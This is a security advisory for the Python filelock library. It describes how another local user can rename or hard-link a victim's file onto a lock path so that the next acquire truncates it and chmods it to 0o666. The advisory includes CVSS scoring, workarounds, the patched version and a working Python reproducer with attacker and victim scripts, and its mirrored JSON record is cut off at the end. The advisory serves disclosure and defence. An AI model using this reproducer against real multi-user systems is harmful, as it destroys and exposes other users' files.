Vulnerability-Lookup

GHSA-69HJ-F68J-2879

Vulnerability from github – Published: 2026-10-28 21:08 – Updated: 2026-10-28 21:08

Summary

filelock: UnixFileLock truncates and chmods any regular file another user renames or hard-links onto the lock path

Details

UnixFileLock, the backend of FileLock and AsyncFileLock on Unix, empties whatever regular file it finds at the lock path once it holds the flock (a kernel lock on an open file). With an explicit mode it also chmods that file (sets its permission bits), whether or not this acquire created it. Another local user who can rename or hard-link one of the files of the user running the lock (below: the lock user) onto the lock path gets that file truncated by the lock user's next acquire(). A hard link is a second name for the same file. With a mode such as 0o666 the file, still owned by the lock user, also becomes readable and writable by that other user. The other user can then read and alter everything the lock user writes to it afterwards.

O_NOFOLLOW, the defence added for the symlink variant (CVE-2025-68146), does not see a renamed file or a hard link. The rename route needs the file's directory to be writable without the sticky bit (a directory flag that lets only a file's owner remove or rename it). The hard-link route into a sticky directory such as /tmp needs fs.protected_hardlinks=0, a Linux kernel setting. Affected versions are every filelock release up to and including 4.2.0 (the truncation is as old as the project; the chmod since 3.10.2).

Anthropic's OSS Scanner reported this in private. Finding covered by this advisory:

ANT-2026-KO573NWI [high, CWE-706]: UnixFileLock truncates and chmods victim files renamed onto the lock path.

Severity

CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N scores 6.1 (Medium).

AV:L (local): the other user needs an account on the same host. PR:L (low privileges): an ordinary account is enough. UI:N (no user interaction). AC:L (low attack complexity): one rename or link, then wait for the lock user's next acquire; no race. I:H (high integrity impact): the lock user's own process truncates a file it did not mean to touch, including content behind a second name the other user could neither modify nor delete. With a permissive explicit mode the other user can then write to it. If that file is one the lock user later executes or trusts, that is code execution as the lock user. C:L (partial confidentiality impact): the old content is gone before the other user can read anything, but what the lock user writes afterwards through a descriptor (the number the kernel gives a process for an open file) it still holds is readable. A:N (no availability impact). S:U (scope unchanged).

Classification from the review: security, conditional on another user controlling names in a non-sticky directory on the lock's filesystem (or on fs.protected_hardlinks=0). The scanner rated this high. The maintainers score it medium because the reachable targets depend on the directory layout and kernel settings described below.

Scope and preconditions

Lock classes: FileLock and AsyncFileLock on Unix (UnixFileLock). SoftFileLock applies an explicit mode only to a file it created with O_CREAT | O_EXCL and does not truncate an existing file. WindowsFileLock has not truncated at any version.
The other user must put a regular file of the lock user at the lock path before the lock user's next acquire, while the lock file does not exist yet. That is the case on first use, after a reboot, after a /tmp cleaner, or after a release with the default preserve_lock_file=False, which unlinks the file. The scanner checked three ways at the scanned commit, with default kernel settings unless stated:
rename inside a directory without the sticky bit (a group-writable project or cache directory, a root-created 0777 directory);
rename from such a directory into a sticky one (1777) on the same filesystem. The sticky bit only protects entries that already exist, so the move succeeds while the lock path is free. Once the lock user's lock file exists there, the same move fails with EPERM;
link(2) into a sticky directory. This needs a system that lets a user hard-link a file it cannot write, which on Linux means fs.protected_hardlinks=0. Mainstream distributions set 1, which refuses the link. The scanner did not test macOS or the BSDs.
What the lock user loses: with the default FileLock(path) the lock truncates the file, which keeps its mode. With an explicit mode (a lock shared between users needs 0o666 or 0o660, because UnixFileLock opens the file read-write), the lock also chmods the file to that mode. _apply_explicit_mode suppresses PermissionError only for files the lock user does not own. The lock user owns its own files, so the fchmod succeeds.
Trust boundary: the protection against another local user holds only when no other user can rename entries in the lock's directory or, for the rename-into-sticky route, in any directory on the same filesystem that holds a file of the lock user. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against.
Not affected: a symlink (a file that points at another path) at the lock path, because O_NOFOLLOW makes the open fail with ELOOP; mutual exclusion between cooperating processes.

Affected code

Scanned commit b831496b0273: UnixFileLock._finalize_locked_fd, whose os.ftruncate and _apply_explicit_mode calls have only the st_nlink != 0 guard (the file still has at least one name); _apply_explicit_mode; _open_lock_file, which learns from its O_EXCL create whether this attempt made the file but hands that flag only to the ENOSYS fallback.

Introduced

The truncation of whatever is at the lock path dates from the initial commit (2157efb, which opened with O_TRUNC). The chmod of a pre-existing inode (the kernel's identity for a file, independent of its name) came with d7e1e84 "changed from os.umask to os.chmod" (#206, 2023-03-22), first tag 3.10.2 (verified with git tag --contains). Before it the code passed the mode only to open(), which applies it to a file this call creates. The advisory range is therefore every release up to 4.2.0. The earlier group range >= 3.10.0 understated it, as the review noted.

Mechanism

_open_lock_file first tries os.open(path, O_RDWR | O_NOFOLLOW | O_CREAT | O_EXCL, mode). With the lock user's file renamed to the lock path that fails with FileExistsError. The second os.open(path, O_RDWR | O_NOFOLLOW) succeeds, because the entry is a regular file the lock user owns, and returns created = False. _acquire_native passes created only to the ENOSYS branch. No process holds a flock on the renamed file, so _lock_fd_nonblocking(fd) succeeds at once and _finalize_locked_fd(fd) runs: os.fstat, st_nlink != 0, os.ftruncate(fd, 0), then os.fchmod(fd, mode) when the lock has an explicit mode. Nothing in that path tells a lock file from any other regular file; a link count of 2 and a non-empty file both pass. O_NOFOLLOW does not help because the entry is the file itself (or a hard link, an ordinary directory entry for the same inode), not a symlink to it. There is no race: the other user renames or links once and waits for the next acquire. AsyncUnixFileLock inherits _finalize_locked_fd unchanged.

The scanner measured three variants at the same commit, same accounts (victim uid 1000, attacker uid 1001). First, a rename within a 0777 directory: the next FileLock("jobs.lock", mode=0o666) of victim empties the 0600 journal of victim renamed to jobs.lock and sets it to 0666; attacker then reads what victim keeps writing through its open descriptor. Second, a rename of a two-name file (ln /tmp/cache/blob ~/env/blob, 0644) from a 0777 directory, fs.protected_hardlinks=1: after mv /tmp/cache/blob /tmp/cache/app.lock and FileLock("/tmp/cache/app.lock", mode=0o666) as victim, ~/env/blob has 2 links, mode 666, 0 bytes and echo pwned >> /home/victim/env/blob as attacker succeeds, in a directory attacker cannot write. Third, os.link(notes, lock_path) in a 1777 directory with fs.protected_hardlinks=0: notes.txt (0644, in the home of victim) ends up 0 bytes with mode 0666, and open(notes, "w") as attacker then succeeds. With plain FileLock(lock_path) a 0600 file ends up empty with its mode unchanged. The planted name stays after release, so every later acquire truncates the file again.

Reproduction

The scanner's reproducer for ANT-2026-KO573NWI, quoted as received. It ran against commit b831496b0273.

repro

#!/usr/bin/env python3
import os
import secrets
import shutil
import stat
import subprocess
import sys

# set up: a directory every user may write, without the sticky bit
shared = "/tmp/renamed-lock-file-demo"
shutil.rmtree(shared, ignore_errors=True)
os.mkdir(shared)
os.chmod(shared, 0o777)
journal = f"{shared}/victim-journal.log"
lock_path = f"{shared}/jobs.lock"

victim = subprocess.Popen(
    ["runuser", "-u", "victim", "--", sys.executable, "/tmp/repro.d/victim_job_runner.py", shared],
    stdin=subprocess.PIPE,
    stdout=subprocess.PIPE,
    text=True,
)


def victim_runs(job):
    victim.stdin.write(job + "\n")
    victim.stdin.flush()
    assert victim.stdout.readline() == "done\n"


def as_attacker(script, argument):
    command = ["runuser", "-u", "attacker", "--", sys.executable, f"/tmp/repro.d/{script}", argument]
    return subprocess.run(command, capture_output=True, text=True, check=True).stdout


# before the attack: one job leaves the lock file and a 0600 journal with one line in it
victim_runs("job 1")
journal_before = os.stat(journal)
journal_content_before = open(journal).read()
attacker_read_before = as_attacker("attacker_read_file.py", journal)
print(
    f"CONTROL  journal: inode {journal_before.st_ino}, uid {journal_before.st_uid}, "
    f"mode {stat.S_IMODE(journal_before.st_mode):o}, content {journal_content_before!r}"
)
print(f"CONTROL  attacker reads the journal: {attacker_read_before!r}")

# attack
as_attacker("attacker_rename_journal.py", shared)

# the victim takes its lock again, then notes a secret in its journal through the descriptor it holds
secret = secrets.token_hex(8)
victim_runs(f"job 2 {secret}")
victim.stdin.close()
victim.wait()

# check: the victim's private journal must not be emptied, widened to 0666, or readable by the attacker
lock_after = os.stat(lock_path)
lock_content_after = open(lock_path).read()
attacker_read_after = as_attacker("attacker_read_file.py", lock_path)
print(
    f"OBSERVED lock path: inode {lock_after.st_ino}, uid {lock_after.st_uid}, "
    f"mode {stat.S_IMODE(lock_after.st_mode):o}, content {lock_content_after!r}"
)
print(f"OBSERVED attacker reads the lock path: {attacker_read_after!r}")

attacker_was_denied = attacker_read_before == "permission denied\n"
lock_path_is_the_journal = (lock_after.st_dev, lock_after.st_ino) == (journal_before.st_dev, journal_before.st_ino)
journal_was_emptied = "job 1" in journal_content_before and "job 1" not in lock_content_after
journal_was_widened = stat.S_IMODE(journal_before.st_mode) == 0o600 and stat.S_IMODE(lock_after.st_mode) == 0o666
attacker_reads_the_secret = secret in attacker_read_after
bug = (
    attacker_was_denied
    and lock_path_is_the_journal
    and journal_was_emptied
    and journal_was_widened
    and attacker_reads_the_secret
)
print("BUG" if bug else "OK")

repro.d/attacker_read_file.py

import sys

try:
    print(open(sys.argv[1]).read(), end="")
except PermissionError:
    print("permission denied")

repro.d/attacker_rename_journal.py

import os
import sys

shared_directory = sys.argv[1]

# needs only write access to the directory: no sticky bit, so any user may rename any entry in it
os.rename(f"{shared_directory}/victim-journal.log", f"{shared_directory}/jobs.lock")

repro.d/victim_job_runner.py

import os
import sys

from filelock import FileLock

shared_directory = sys.argv[1]

journal_fd = os.open(f"{shared_directory}/victim-journal.log", os.O_WRONLY | os.O_CREAT | os.O_APPEND, 0o600)
# UnixFileLock opens the lock file O_RDWR, so a lock that other users of the directory also take needs mode=0o666
lock = FileLock(f"{shared_directory}/jobs.lock", mode=0o666, timeout=5)

for job in sys.stdin:
    with lock:
        os.write(journal_fd, f"ran {job}".encode())
    print("done", flush=True)

Attack sequence

sequenceDiagram
    participant A as other account
    participant D as shared directory (writable, not sticky)
    participant V as lock user: FileLock("jobs.lock", mode=0o666)
    participant K as kernel
    Note over V,D: victim-journal.log, owner victim, mode 0600 (the other account cannot read it)
    A->>D: mv victim-journal.log jobs.lock (one rename, no race)
    V->>K: open(jobs.lock, O_RDWR|O_NOFOLLOW|O_CREAT|O_EXCL) -> EEXIST
    V->>K: open(jobs.lock, O_RDWR|O_NOFOLLOW) -> fd (regular file, created=False)
    V->>K: flock(fd, LOCK_EX|LOCK_NB) -> ok (no holder)
    rect rgb(255, 214, 214)
        V->>K: fstat(fd), st_nlink != 0
        V->>K: ftruncate(fd, 0)
        V->>K: fchmod(fd, 0o666)
        Note over V,K: the journal's inode is now empty and world read-write, still owned by victim
    end
    V->>K: write("ran job 2 <secret>") through the journal descriptor it still holds
    A->>D: read jobs.lock -> "ran job 2 <secret>"

Evidence

The scanner reproducer (victim and attacker accounts, root-created 0777 directory without the sticky bit under /tmp, default sysctls, Linux 6.1, CPython 3.14.8, overlayfs; lock FileLock(path, mode=0o666, timeout=5)). It printed CONTROL journal: inode 296383, uid 1000, mode 600, content 'ran job 1\n' and CONTROL attacker reads the journal: 'permission denied\n'. After the rename and the second job of victim it printed OBSERVED lock path: inode 296383, uid 1000, mode 666, content 'ran job 2 f4bc9a4e04c3f556\n' and OBSERVED attacker reads the lock path: 'ran job 2 f4bc9a4e04c3f556\n', last line BUG. The verdict requires that the earlier read by attacker failed, that the lock path is the journal's inode, that the old line is gone, that the mode went from 0600 to 0666, and that the later read by attacker contains the secret. It runs in under a second with no race. The scanner ran the two-name and link(2) variants above by hand at the same commit (commands and results in its report), not through the script.

Maintainer triage: the reproducer prints BUG on the scanned commit b831496 and on the 4.2.0 release image. The independent review (soft-open) confirmed the mechanism and that the hard-link and two-name variants go through the same two calls.

Impact

The file's content is lost in every configuration, including for processes that hold the file open and under every other name the file has. With an explicit permissive mode, the other user can read and modify everything the lock user writes afterwards, while the file still belongs to the lock user. The other user can rename the file back to its old name after the acquire. It stays there with the lock's mode, and the lock user's next acquire creates a fresh lock file.

Somebody who may rename a single-name file may also unlink it, so losing such a file under its name is not new. What the lock adds are two operations on the inode that the other user cannot perform, ftruncate and fchmod, run with the lock user's privileges. Those matter for a descriptor the lock user still holds, for a second name of the file, and for programs that trust the file's ownership. The other user does not choose the mode, and the lock user writes no bytes the other user chose. Mutual exclusion is not affected.

Workarounds

Keep the lock file in a directory no other account can write, or in a sticky directory on a filesystem where no directory holding the lock user's files is writable by others. On Linux keep fs.protected_hardlinks=1 (the default on mainstream distributions), which closes the hard-link route.
Do not pass a permissive explicit mode (0o666, 0o660, 0o644) unless accounts share the lock; without a mode the exposure is the truncation only.
Keep the lock file in place (preserve_lock_file=True). Once a lock file owned by the lock user exists in a sticky directory, another user cannot rename or link over it.
Where the lock does not need flock semantics, SoftFileLock applies its mode only to the marker it created with O_EXCL and does not truncate an existing file.

Patched version

4.2.1.

Fix: https://github.com/tox-dev/filelock/pull/835

Credits

Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.

2026-10-15 23:08 UTC: report received (36 findings; this one rated high by the scanner)
2026-10-16 00:46 UTC: draft advisory created (first as a group of four findings, then narrowed to ANT-2026-KO573NWI; the other three security findings have their own advisories)
2026-10-16 01:16 UTC: fix PR #835 opened

Severity

6.1 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "filelock"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-112909"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-706"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-28T21:08:35Z",
    "nvd_published_at": "2026-10-20T15:17:15Z",
    "severity": "MODERATE"
  },
  "details": "`UnixFileLock`, the backend of `FileLock` and `AsyncFileLock` on Unix, empties whatever regular file it finds at the lock path once it holds the `flock` (a kernel lock on an open file). With an explicit `mode` it also chmods that file (sets its permission bits), whether or not this acquire created it. Another local user who can rename or hard-link one of the files of the user running the lock (below: the lock user) onto the lock path gets that file truncated by the lock user\u0027s next `acquire()`. A hard link is a second name for the same file. With a mode such as `0o666` the file, still owned by the lock user, also becomes readable and writable by that other user. The other user can then read and alter everything the lock user writes to it afterwards.\n\n`O_NOFOLLOW`, the defence added for the symlink variant (CVE-2025-68146), does not see a renamed file or a hard link. The rename route needs the file\u0027s directory to be writable without the sticky bit (a directory flag that lets only a file\u0027s owner remove or rename it). The hard-link route into a sticky directory such as `/tmp` needs `fs.protected_hardlinks=0`, a Linux kernel setting. Affected versions are every filelock release up to and including 4.2.0 (the truncation is as old as the project; the chmod since 3.10.2).\n\nAnthropic\u0027s OSS Scanner reported this in private. Finding covered by this advisory:\n\n- `ANT-2026-KO573NWI` [high, CWE-706]: UnixFileLock truncates and chmods victim files renamed onto the lock path.\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N` scores 6.1 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:L` (low attack complexity): one rename or link, then wait for the lock user\u0027s next acquire; no race. `I:H` (high integrity impact): the lock user\u0027s own process truncates a file it did not mean to touch, including content behind a second name the other user could neither modify nor delete. With a permissive explicit `mode` the other user can then write to it. If that file is one the lock user later executes or trusts, that is code execution as the lock user. `C:L` (partial confidentiality impact): the old content is gone before the other user can read anything, but what the lock user writes afterwards through a descriptor (the number the kernel gives a process for an open file) it still holds is readable. `A:N` (no availability impact). `S:U` (scope unchanged).\n\nClassification from the review: **security, conditional** on another user controlling names in a non-sticky directory on the lock\u0027s filesystem (or on `fs.protected_hardlinks=0`). The scanner rated this high. The maintainers score it medium because the reachable targets depend on the directory layout and kernel settings described below.\n\n## Scope and preconditions\n\n- Lock classes: `FileLock` and `AsyncFileLock` on Unix (`UnixFileLock`). `SoftFileLock` applies an explicit mode only to a file it created with `O_CREAT | O_EXCL` and does not truncate an existing file. `WindowsFileLock` has not truncated at any version.\n- The other user must put a regular file of the lock user at the lock path before the lock user\u0027s next acquire, while the lock file does not exist yet. That is the case on first use, after a reboot, after a `/tmp` cleaner, or after a release with the default `preserve_lock_file=False`, which unlinks the file. The scanner checked three ways at the scanned commit, with default kernel settings unless stated:\n  - rename inside a directory without the sticky bit (a group-writable project or cache directory, a root-created `0777` directory);\n  - rename from such a directory into a sticky one (`1777`) on the same filesystem. The sticky bit only protects entries that already exist, so the move succeeds while the lock path is free. Once the lock user\u0027s lock file exists there, the same move fails with `EPERM`;\n  - `link(2)` into a sticky directory. This needs a system that lets a user hard-link a file it cannot write, which on Linux means `fs.protected_hardlinks=0`. Mainstream distributions set 1, which refuses the link. The scanner did not test macOS or the BSDs.\n- What the lock user loses: with the default `FileLock(path)` the lock truncates the file, which keeps its mode. With an explicit `mode` (a lock shared between users needs `0o666` or `0o660`, because `UnixFileLock` opens the file read-write), the lock also chmods the file to that mode. `_apply_explicit_mode` suppresses `PermissionError` only for files the lock user does not own. The lock user owns its own files, so the `fchmod` succeeds.\n- Trust boundary: the protection against another local user holds only when no other user can rename entries in the lock\u0027s directory or, for the rename-into-sticky route, in any directory on the same filesystem that holds a file of the lock user. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against.\n- Not affected: a symlink (a file that points at another path) at the lock path, because `O_NOFOLLOW` makes the open fail with `ELOOP`; mutual exclusion between cooperating processes.\n\n## Affected code\n\nScanned commit `b831496b0273`: [`UnixFileLock._finalize_locked_fd`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_unix.py#L144-L163), whose [`os.ftruncate` and `_apply_explicit_mode` calls](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_unix.py#L150-L154) have only the `st_nlink != 0` guard (the file still has at least one name); [`_apply_explicit_mode`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_unix.py#L165-L168); [`_open_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_unix.py#L95-L121), which learns from its `O_EXCL` create whether this attempt made the file but hands that flag only to the `ENOSYS` fallback.\n\n## Introduced\n\nThe truncation of whatever is at the lock path dates from the initial commit ([2157efb](https://github.com/tox-dev/filelock/commit/2157efb8b57666699fcf15bf03c3771c1571279c), which opened with `O_TRUNC`). The chmod of a pre-existing inode (the kernel\u0027s identity for a file, independent of its name) came with [d7e1e84](https://github.com/tox-dev/filelock/commit/d7e1e84e71ad) \"changed from os.umask to os.chmod\" ([#206](https://github.com/tox-dev/filelock/pull/206), 2023-03-22), first tag 3.10.2 (verified with `git tag --contains`). Before it the code passed the mode only to `open()`, which applies it to a file this call creates. The advisory range is therefore every release up to 4.2.0. The earlier group range `\u003e= 3.10.0` understated it, as the review noted.\n\n## Mechanism\n\n`_open_lock_file` first tries `os.open(path, O_RDWR | O_NOFOLLOW | O_CREAT | O_EXCL, mode)`. With the lock user\u0027s file renamed to the lock path that fails with `FileExistsError`. The second `os.open(path, O_RDWR | O_NOFOLLOW)` succeeds, because the entry is a regular file the lock user owns, and returns `created = False`. `_acquire_native` passes `created` only to the `ENOSYS` branch. No process holds a `flock` on the renamed file, so `_lock_fd_nonblocking(fd)` succeeds at once and `_finalize_locked_fd(fd)` runs: `os.fstat`, `st_nlink != 0`, `os.ftruncate(fd, 0)`, then `os.fchmod(fd, mode)` when the lock has an explicit mode. Nothing in that path tells a lock file from any other regular file; a link count of 2 and a non-empty file both pass. `O_NOFOLLOW` does not help because the entry is the file itself (or a hard link, an ordinary directory entry for the same inode), not a symlink to it. There is no race: the other user renames or links once and waits for the next acquire. `AsyncUnixFileLock` inherits `_finalize_locked_fd` unchanged.\n\nThe scanner measured three variants at the same commit, same accounts (`victim` uid 1000, `attacker` uid 1001). First, a rename within a `0777` directory: the next `FileLock(\"jobs.lock\", mode=0o666)` of `victim` empties the `0600` journal of `victim` renamed to `jobs.lock` and sets it to `0666`; `attacker` then reads what `victim` keeps writing through its open descriptor. Second, a rename of a two-name file (`ln /tmp/cache/blob ~/env/blob`, `0644`) from a `0777` directory, `fs.protected_hardlinks=1`: after `mv /tmp/cache/blob /tmp/cache/app.lock` and `FileLock(\"/tmp/cache/app.lock\", mode=0o666)` as `victim`, `~/env/blob` has `2 links, mode 666, 0 bytes` and `echo pwned \u003e\u003e /home/victim/env/blob` as `attacker` succeeds, in a directory `attacker` cannot write. Third, `os.link(notes, lock_path)` in a `1777` directory with `fs.protected_hardlinks=0`: `notes.txt` (`0644`, in the home of `victim`) ends up 0 bytes with mode `0666`, and `open(notes, \"w\")` as `attacker` then succeeds. With plain `FileLock(lock_path)` a `0600` file ends up empty with its mode unchanged. The planted name stays after release, so every later acquire truncates the file again.\n\n## Reproduction\n\nThe scanner\u0027s reproducer for `ANT-2026-KO573NWI`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport secrets\nimport shutil\nimport stat\nimport subprocess\nimport sys\n\n# set up: a directory every user may write, without the sticky bit\nshared = \"/tmp/renamed-lock-file-demo\"\nshutil.rmtree(shared, ignore_errors=True)\nos.mkdir(shared)\nos.chmod(shared, 0o777)\njournal = f\"{shared}/victim-journal.log\"\nlock_path = f\"{shared}/jobs.lock\"\n\nvictim = subprocess.Popen(\n    [\"runuser\", \"-u\", \"victim\", \"--\", sys.executable, \"/tmp/repro.d/victim_job_runner.py\", shared],\n    stdin=subprocess.PIPE,\n    stdout=subprocess.PIPE,\n    text=True,\n)\n\n\ndef victim_runs(job):\n    victim.stdin.write(job + \"\\n\")\n    victim.stdin.flush()\n    assert victim.stdout.readline() == \"done\\n\"\n\n\ndef as_attacker(script, argument):\n    command = [\"runuser\", \"-u\", \"attacker\", \"--\", sys.executable, f\"/tmp/repro.d/{script}\", argument]\n    return subprocess.run(command, capture_output=True, text=True, check=True).stdout\n\n\n# before the attack: one job leaves the lock file and a 0600 journal with one line in it\nvictim_runs(\"job 1\")\njournal_before = os.stat(journal)\njournal_content_before = open(journal).read()\nattacker_read_before = as_attacker(\"attacker_read_file.py\", journal)\nprint(\n    f\"CONTROL  journal: inode {journal_before.st_ino}, uid {journal_before.st_uid}, \"\n    f\"mode {stat.S_IMODE(journal_before.st_mode):o}, content {journal_content_before!r}\"\n)\nprint(f\"CONTROL  attacker reads the journal: {attacker_read_before!r}\")\n\n# attack\nas_attacker(\"attacker_rename_journal.py\", shared)\n\n# the victim takes its lock again, then notes a secret in its journal through the descriptor it holds\nsecret = secrets.token_hex(8)\nvictim_runs(f\"job 2 {secret}\")\nvictim.stdin.close()\nvictim.wait()\n\n# check: the victim\u0027s private journal must not be emptied, widened to 0666, or readable by the attacker\nlock_after = os.stat(lock_path)\nlock_content_after = open(lock_path).read()\nattacker_read_after = as_attacker(\"attacker_read_file.py\", lock_path)\nprint(\n    f\"OBSERVED lock path: inode {lock_after.st_ino}, uid {lock_after.st_uid}, \"\n    f\"mode {stat.S_IMODE(lock_after.st_mode):o}, content {lock_content_after!r}\"\n)\nprint(f\"OBSERVED attacker reads the lock path: {attacker_read_after!r}\")\n\nattacker_was_denied = attacker_read_before == \"permission denied\\n\"\nlock_path_is_the_journal = (lock_after.st_dev, lock_after.st_ino) == (journal_before.st_dev, journal_before.st_ino)\njournal_was_emptied = \"job 1\" in journal_content_before and \"job 1\" not in lock_content_after\njournal_was_widened = stat.S_IMODE(journal_before.st_mode) == 0o600 and stat.S_IMODE(lock_after.st_mode) == 0o666\nattacker_reads_the_secret = secret in attacker_read_after\nbug = (\n    attacker_was_denied\n    and lock_path_is_the_journal\n    and journal_was_emptied\n    and journal_was_widened\n    and attacker_reads_the_secret\n)\nprint(\"BUG\" if bug else \"OK\")\n```\n\n**`repro.d/attacker_read_file.py`**\n\n```python\nimport sys\n\ntry:\n    print(open(sys.argv[1]).read(), end=\"\")\nexcept PermissionError:\n    print(\"permission denied\")\n```\n\n**`repro.d/attacker_rename_journal.py`**\n\n```python\nimport os\nimport sys\n\nshared_directory = sys.argv[1]\n\n# needs only write access to the directory: no sticky bit, so any user may rename any entry in it\nos.rename(f\"{shared_directory}/victim-journal.log\", f\"{shared_directory}/jobs.lock\")\n```\n\n**`repro.d/victim_job_runner.py`**\n\n```python\nimport os\nimport sys\n\nfrom filelock import FileLock\n\nshared_directory = sys.argv[1]\n\njournal_fd = os.open(f\"{shared_directory}/victim-journal.log\", os.O_WRONLY | os.O_CREAT | os.O_APPEND, 0o600)\n# UnixFileLock opens the lock file O_RDWR, so a lock that other users of the directory also take needs mode=0o666\nlock = FileLock(f\"{shared_directory}/jobs.lock\", mode=0o666, timeout=5)\n\nfor job in sys.stdin:\n    with lock:\n        os.write(journal_fd, f\"ran {job}\".encode())\n    print(\"done\", flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as other account\n    participant D as shared directory (writable, not sticky)\n    participant V as lock user: FileLock(\"jobs.lock\", mode=0o666)\n    participant K as kernel\n    Note over V,D: victim-journal.log, owner victim, mode 0600 (the other account cannot read it)\n    A-\u003e\u003eD: mv victim-journal.log jobs.lock (one rename, no race)\n    V-\u003e\u003eK: open(jobs.lock, O_RDWR|O_NOFOLLOW|O_CREAT|O_EXCL) -\u003e EEXIST\n    V-\u003e\u003eK: open(jobs.lock, O_RDWR|O_NOFOLLOW) -\u003e fd (regular file, created=False)\n    V-\u003e\u003eK: flock(fd, LOCK_EX|LOCK_NB) -\u003e ok (no holder)\n    rect rgb(255, 214, 214)\n        V-\u003e\u003eK: fstat(fd), st_nlink != 0\n        V-\u003e\u003eK: ftruncate(fd, 0)\n        V-\u003e\u003eK: fchmod(fd, 0o666)\n        Note over V,K: the journal\u0027s inode is now empty and world read-write, still owned by victim\n    end\n    V-\u003e\u003eK: write(\"ran job 2 \u003csecret\u003e\") through the journal descriptor it still holds\n    A-\u003e\u003eD: read jobs.lock -\u003e \"ran job 2 \u003csecret\u003e\"\n```\n\n## Evidence\n\nThe scanner reproducer (`victim` and `attacker` accounts, root-created `0777` directory without the sticky bit under `/tmp`, default sysctls, Linux 6.1, CPython 3.14.8, overlayfs; lock `FileLock(path, mode=0o666, timeout=5)`). It printed `CONTROL journal: inode 296383, uid 1000, mode 600, content \u0027ran job 1\\n\u0027` and `CONTROL attacker reads the journal: \u0027permission denied\\n\u0027`. After the rename and the second job of `victim` it printed `OBSERVED lock path: inode 296383, uid 1000, mode 666, content \u0027ran job 2 f4bc9a4e04c3f556\\n\u0027` and `OBSERVED attacker reads the lock path: \u0027ran job 2 f4bc9a4e04c3f556\\n\u0027`, last line `BUG`. The verdict requires that the earlier read by `attacker` failed, that the lock path is the journal\u0027s inode, that the old line is gone, that the mode went from `0600` to `0666`, and that the later read by `attacker` contains the secret. It runs in under a second with no race. The scanner ran the two-name and `link(2)` variants above by hand at the same commit (commands and results in its report), not through the script.\n\nMaintainer triage: the reproducer prints `BUG` on the scanned commit `b831496` and on the 4.2.0 release image. The independent review (`soft-open`) confirmed the mechanism and that the hard-link and two-name variants go through the same two calls.\n\n## Impact\n\nThe file\u0027s content is lost in every configuration, including for processes that hold the file open and under every other name the file has. With an explicit permissive `mode`, the other user can read and modify everything the lock user writes afterwards, while the file still belongs to the lock user. The other user can rename the file back to its old name after the acquire. It stays there with the lock\u0027s mode, and the lock user\u0027s next acquire creates a fresh lock file.\n\nSomebody who may rename a single-name file may also unlink it, so losing such a file under its name is not new. What the lock adds are two operations on the inode that the other user cannot perform, `ftruncate` and `fchmod`, run with the lock user\u0027s privileges. Those matter for a descriptor the lock user still holds, for a second name of the file, and for programs that trust the file\u0027s ownership. The other user does not choose the mode, and the lock user writes no bytes the other user chose. Mutual exclusion is not affected.\n\n## Workarounds\n\n- Keep the lock file in a directory no other account can write, or in a sticky directory on a filesystem where no directory holding the lock user\u0027s files is writable by others. On Linux keep `fs.protected_hardlinks=1` (the default on mainstream distributions), which closes the hard-link route.\n- Do not pass a permissive explicit `mode` (`0o666`, `0o660`, `0o644`) unless accounts share the lock; without a mode the exposure is the truncation only.\n- Keep the lock file in place (`preserve_lock_file=True`). Once a lock file owned by the lock user exists in a sticky directory, another user cannot rename or link over it.\n- Where the lock does not need `flock` semantics, `SoftFileLock` applies its mode only to the marker it created with `O_EXCL` and does not truncate an existing file.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/835\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (36 findings; this one rated high by the scanner)\n- 2026-10-16 00:46 UTC: draft advisory created (first as a group of four findings, then narrowed to `ANT-2026-KO573NWI`; the other three security findings have their own advisories)\n- 2026-10-16 01:16 UTC: fix PR #835 opened",
  "id": "GHSA-69hj-f68j-2879",
  "modified": "2026-10-28T21:08:35Z",
  "published": "2026-10-28T21:08:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-69hj-f68j-2879"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112909"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/pull/835"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/commit/e1e825b1992f69fb6b346dc395d5ae4893536c0a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tox-dev/filelock"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
